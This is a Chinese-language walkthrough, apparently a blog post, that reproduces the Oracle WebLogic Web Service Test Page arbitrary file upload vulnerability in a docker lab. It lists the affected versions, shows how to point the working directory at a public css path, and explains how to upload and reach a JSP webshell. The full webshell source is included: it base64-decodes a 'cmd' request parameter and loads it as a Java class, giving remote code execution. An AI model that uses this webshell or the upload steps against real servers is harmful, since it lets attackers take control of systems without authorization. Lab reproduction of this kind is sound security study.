受影响的Weblogic版本
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
your-IP:7001/console
,页面跳转到登录页面;docker-compose logs | grep password
命令获取登录用户和密码;(注:该命令需在漏洞文件目录执行)
这里使用了ssh远程连接Kali (漏洞靶机),目的是为了更加方便去执行命令,不需要虚机和宿主机来回切换;
base_domain
可看到设置页面,然后点击高级
;启用Web服务测试页
;your-IP:7001/ws_utc/config.do
页面,修改当前工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
访问该目录无需权限,修改后提交;<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
安全 -> 添加
,名字和密码可以随意设置,上传jsp木马文件;your-IP:7001/ws_utc/css/config/keystore/1677219244820(时间戳)_1.jsp(文件名)
,页面没报404说明成功;
以上内容就是Weblogic Web Service Test Page中任意文件上传漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟!